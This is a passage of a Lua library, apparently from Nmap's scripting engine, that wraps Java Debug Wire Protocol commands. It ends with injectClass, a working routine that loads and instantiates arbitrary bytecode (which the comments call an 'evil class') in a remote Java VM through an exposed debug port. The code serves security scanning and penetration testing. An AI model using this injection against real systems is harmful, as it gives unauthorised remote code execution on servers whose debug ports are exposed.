 760--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Suspend
 761--
 762--@param socket 					Socket to use to send the command.
 763--@param id 	 					Packet id. 
 764--@param threadID					The ID of a thread.
 765--@return (status, thread_name) 	If status is false an error string is returned, else it's nil.
 766function suspendThread(socket,id,threadID)
 767	local params = bin.pack(">L",threadID)
 768	local command = JDWPCommandPacket:new(id,11,2,params)
 769	local status, data = executeCommand(socket,command)
 770	if not status then
 771		stdnse.print_debug(2,"JDWP suspendThread() error: %s", data)
 772		return false,data
 773	end	
 774	return true, nil
 775end
 776
 777--- Status Command (4)
 778--  Returns the current status of a thread.
 779--
 780--  Thread status is described with ThreadStatus and SuspendStatus constants (http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadStatus).
 781--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Status
 782--
 783--@param socket 					Socket to use to send the command.
 784--@param id 	 					Packet id. 
 785--@param threadID					The ID of a thread.
 786--@return (status, thread_name) 	If status is false an error string is returned, else unparsed thread status data.
 787function threadStatus(socket,id,threadID)
 788	local params = bin.pack(">L",threadID)
 789	local command = JDWPCommandPacket:new(id,11,4,params)
 790	local status, data = executeCommand(socket,command)
 791	if not status then
 792		stdnse.print_debug(2,"JDWP threadStatus() error: %s", data)
 793		return false,data
 794	end	
 795	stdnse.print_debug("threadStatus %s",stdnse.tohex(data))
 796	return true, data
 797end
 798
 799--- ArrayReference Command Set (13) 
 800--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference
 801
 802--- SetValues Command (3)
 803--  Sets a range of array components.
 804--
 805-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference_SetValues
 806--
 807--@param socket 					Socket to use to send the command.
 808--@param id 	 					Packet id. 
 809--@param objectID					The ID of an array object.
 810--@return (status, data) 			If status is false an error string is returned, else it's nil.
 811function setArrayValues(socket,id,objectID,idx,values)
 812	local params = bin.pack(">Lii",objectID,idx,#values) .. values
 813	local command = JDWPCommandPacket:new(id,13,3,params)
 814	local status, data = executeCommand(socket,command)
 815	if not status then
 816		stdnse.print_debug(2,"JDWP setArrayValues() error: %s", data)
 817		return false,data
 818	end
 819	return true, nil	
 820end
 821
 822--- EventRequest Command Set (15) 
 823--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest
 824
 825--- Uses Set Command (1) to set singlesteping to specified thread.
 826-- 
 827-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set
 828--
 829--@param socket 					Socket to use to send the command.
 830--@param id 	 					Packet id. 
 831--@param threadID					The ID of the thread.
 832--@return (status, requestID) 		If status is false an error string is returned, else it contains assigned request id.
 833function setThreadSinglestep(socket,id,threadID)
 834	local params = bin.pack(">CCiCLii",1,2,1,10,threadID,0,0) -- event options see http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set
 835	local command = JDWPCommandPacket:new(id,15,1,params)
 836	local status, data = executeCommand(socket,command)
 837	if not status then
 838		stdnse.print_debug(2,"JDWP setThreadSinglestep() error: %s", data)
 839		return false,data
 840	end	
 841	local _, requestID = bin.unpack(">i",data)
 842	return true, requestID 
 843end
 844
 845--- Uses Clear Command (2) to unset singlesteping from a thread by specified event.
 846--
 847--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Clear
 848--
 849--@param socket 					Socket to use to send the command.
 850--@param id 	 					Packet id. 
 851--@param eventID					The ID of the thread.
 852--@return (status, requestID) 		If status is false an error string is returned, else it's nil.
 853function clearThreadSinglestep(socket,id,eventID)
 854	local params = bin.pack(">Ci",1,eventID)
 855	local command = JDWPCommandPacket:new(id,15,2,params)
 856	local status, data = executeCommand(socket,command)
 857	if not status then
 858		stdnse.print_debug(2,"JDWP clearThreadSinglestep() error: %s", data)
 859		return false,data
 860	end	
 861	return true,nil
 862end
 863
 864--- ClassObjectReference Command Set (17) 
 865--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference
 866
 867
 868--- ReflectedType Command (1)
 869--  Returns the reference type reflected by this class object. 
 870--
 871--  http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference_ReflectedType
 872--
 873--@param socket 						Socket to use to send the command.
 874--@param id 	 						Packet id. 
 875--@param classObjectID					The ID of the object.
 876--@return (status, reflected_type) 		If status is false an error string is returned, else reflected_type is object's reference type.
 877function getReflectedType(socket,id,classObjectID)
 878	local _, param
 879	local command = JDWPCommandPacket:new(id,17,1,bin.pack(">L",classObjectID))
 880	local status, data = executeCommand(socket,command)
 881	if not status then
 882		stdnse.print_debug(2,"JDWP getReflectedType() error: %s", data)
 883		return false,data
 884	end	
 885	local reflected_type = {
 886		refTypeTag = nil,
 887		typeID = nil
 888	}
 889	_,reflected_type.refTypeTag, reflected_type.typeID = bin.unpack(">CL",data)
 890	
 891	return true, reflected_type
 892end
 893
 894--- Helper function to find a method ID by its name.
 895--
 896-- @param socket 		Socket to use for communication.
 897-- @param class			ID of the class whose method we seek.
 898-- @param methodName	Name of the method.
 899-- @param skipFirst		Skip first found method.
 900function findMethod(socket,class,methodName,skipFirst)
 901	local methodID
 902	local status, methods = getMethodsWithGeneric(socket,0,class)
 903	if not status then
 904		return false
 905	end
 906	for _, method in ipairs(methods) do -- find first constructor and first defineClass() method
 907		stdnse.print_debug(2,"Method name: %s", method.name)
 908		if methodID == nil then
 909			if string.find(method.name,methodName) then
 910				if skipFirst then
 911					skipFirst = false
 912				else
 913					methodID = method.methodID
 914				end
 915			end
 916		end
 917	end	
 918	return methodID
 919end
 920
 921--- Tries to inject specified bytes as a java class and create its instance.
 922--
 923--  Returns a table containing following fields:
 924--  * 'id'			Injected class reference ID.
 925--  * 'instance'	Inected calss' instance reference ID.
 926--  * 'thread'		Thread in which the class was injected and instantiated.
 927--
 928-- @param socket 		Socket to use for communication.
 929-- @param class_bytes	String of bytes of a java class file to inject.
 930-- @return 	(status,injectedClass) If status is false, an error message is returned, else returns a table with injected class info.
 931function injectClass(socket,class_bytes)
 932	local classes,status
 933	-- find byte array class id needed to create new array to load our bytecode into
 934	status,classes = getAllClassesWithGeneric(socket,0)
 935	if not status then
 936		stdnse.print_debug("getAllClassesWithGeneric failed: %s", classes)
 937		return false
 938	end
 939	local byteArrayID
 940	for _,class in ipairs(classes) do
 941		if string.find(class.signature,"%[B") then
 942			byteArrayID = class.typeID
 943			break
 944		end
 945	end
 946	if byteArrayID == nil then
 947		stdnse.print_debug("finding byte arrray id failed")
 948		return false
 949	end
 950	stdnse.print_debug("Found byte[] id %d",byteArrayID)
 951	
 952	-- find SecureClassLoader id by signature
 953	status, classes = getClassBySignature(socket,0,"Ljava/security/SecureClassLoader;")
 954	if not status then
 955		return false
 956	end
 957	local secureClassLoader = classes[1].referenceTypeID
 958	stdnse.print_debug("Found SecureClassLoader id %d",secureClassLoader)
 959	-- find SecureClassLoader() constructor 
 960	local constructorMethodID = findMethod(socket,secureClassLoader,"<init>",true)
 961	-- find ClassLoader id by signature
 962	status, classes = getClassBySignature(socket,0,"Ljava/lang/ClassLoader;")
 963	if not status then
 964		return false
 965	end		
 966	local classLoader = classes[1].referenceTypeID
 967	stdnse.print_debug("Found ClassLoader id %d",classes[1].referenceTypeID)
 968	-- find ClassLoader's defineClass() method
 969	local defineClassMethodID = findMethod(socket,classLoader,"defineClass",false)
 970	-- find ClassLoader's resolveClass() method
 971	local resolveClassMethodID = findMethod(socket,classLoader,"resolveClass",false)	
 972	if constructorMethodID == nil or defineClassMethodID == nil or resolveClassMethodID == nil then
 973		stdnse.print_debug("Either constructor, defineClass or resolveClass method could not be found %s,%s,%s", type(constructorMethodID), type(defineClassMethodID),type(resolveClassMethodID))
 974		return false
 975	end
 976
 977
 978	-- create array to load bytecode into
 979	local arrayID 
 980	status, arrayID = newArrayInstance(socket,0,byteArrayID,#class_bytes)
 981	if not status then
 982		stdnse.print_debug("New array failed: %s", arrayID)
 983		return false
 984	end
 985	stdnse.print_debug("Created new byte array of length %d",#class_bytes)	
 986	-- set array values
 987	local temp
 988	status, temp = setArrayValues(socket,0,arrayID,0,class_bytes)
 989	if not status then
 990		stdnse.print_debug("Set values failed: %s", temp)
 991		return
 992	end
 993	stdnse.print_debug("Set array values to injected class bytes")			
 994	
 995	-- get main thread id 
 996	-- in order to load a new class file, thread must be suspended by an event
 997	-- so we set it to singlestep, let it run and it get suspended right away
 998	local threads 
 999	status,threads = getAllThreads(socket,0)
1000	if not status then
1001		stdnse.print_debug("get threads failed: %s", threads)
1002		return false
1003	end
1004	local main_thread
1005	local eventID
1006	stdnse.print_debug("Looking for main thread...")		
1007	for _,thread in ipairs(threads) do
1008		local thread_name
1009		status, thread_name = getThreadName(socket,0,thread)
1010		if not status then
1011			stdnse.print_debug("getThreadName failed: %s", thread_name)
1012			return false
1013		end
1014		if thread_name == "main" then
1015			stdnse.print_debug("Setting singlesteping to main thread.")		
1016			status, eventID = setThreadSinglestep(socket,0,thread)
1017			main_thread = thread
1018			break
1019		end
1020	end
1021	if main_thread == nil then
1022		stdnse.print_debug("couldn't find main thread")
1023		return false
1024	end
1025	-- to trigger the singlestep event, VM must be resumed
1026	stdnse.print_debug("Resuming VM and waiting for single step event from main thread...")		
1027	local status, _ = resumeVM(socket,0)
1028	-- clear singlestep since we need to run our code in this thread and we don't want it to stop after each instruction
1029	clearThreadSinglestep(socket,0,eventID)
1030	stdnse.print_debug("Cleared singlesteping from main thread.")			
1031	
1032	-- instantiate new class loader 
1033	local class_loader_instance 
1034	status, class_loader_instance = newClassInstance(socket,0,secureClassLoader,main_thread,constructorMethodID,0,nil)
1035	if not status then
1036		stdnse.print_debug("newClassInstance failed: %s", class_loader_instance)
1037		return false
1038	end
1039	stdnse.print_debug("Created new instance of SecureClassLoader.")		
1040	
1041	local injectedClass 
1042	-- invoke defineClass with byte array that contains our bytecode
1043	local defineClassArgs = bin.pack(">CLCiCi",0x5b,arrayID,0x49,0,0x49,#class_bytes) -- argument tags taken from http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502
1044	stdnse.print_debug("Calling secureClassLoader.defineClass(byte[],int,int) ...")			
1045	status, injectedClass = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,defineClassMethodID,3,defineClassArgs)
1046	if not status then
1047		stdnse.print_debug("invokeObjectMethod failed: %s", injectedClass)
1048	end
1049	-- resolve (Java's way of saying link) loaded class
1050	status, _ = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,resolveClassMethodID,1,injectedClass) -- call with injectedClass which still has a tag
1051	if not status then
1052		stdnse.print_debug("invokeObjectMethod failed:")
1053	end
1054	-- extract the injected class' ID
1055	local tag,injectedClassID
1056	_,tag,injectedClassID = bin.unpack(">CL",injectedClass)	
1057
1058	-- our class is now injected, but we need to find it's methods by calling Class.getMethods() on it
1059	-- and for that we need its runtime_type which is Class
1060	local runtime_type 
1061	status, runtime_type = getRuntimeType(socket,0,injectedClassID) -- should be Class
1062	-- find the getMethods() id	
1063	local getMethodsMethod = findMethod(socket,runtime_type,"getMethods",false)
1064	status, _ = invokeObjectMethod(socket,0,injectedClassID,main_thread,runtime_type,getMethodsMethod,0,nil) 
1065
1066
1067	stdnse.print_debug("New class defined. Injected class id : %d",injectedClassID)		
1068	local sig, reflected_type
1069	status, sig = getSignatureWithGeneric(socket,0,injectedClassID)
1070	stdnse.print_debug("Injected class signature: %s", sig)
1071	status, reflected_type = getReflectedType(socket,0,injectedClassID)	
1072
1073	-- find injected class constructor
1074	local injectedConstructor = findMethod(socket,injectedClassID,"<init>",false)
1075	
1076	if injectedConstructor == nil then
1077		stdnse.print_debug("Couldn't find either evil method or constructor")
1078		return false
1079	end	
1080	
1081	-- instantiate our evil class 
1082	local injectedClassInstance
1083	status, injectedClassInstance = newClassInstance(socket,0,injectedClassID,main_thread,injectedConstructor,0,nil)	
1084	if not status then
1085		return false, injectedClassInstance
1086	end
1087	local injected_class = {
1088		id = injectedClassID,
1089		instance = injectedClassInstance,
1090		thread = main_thread
1091	}
1092	return true, injected_class
1093end
1094
1095return _ENV;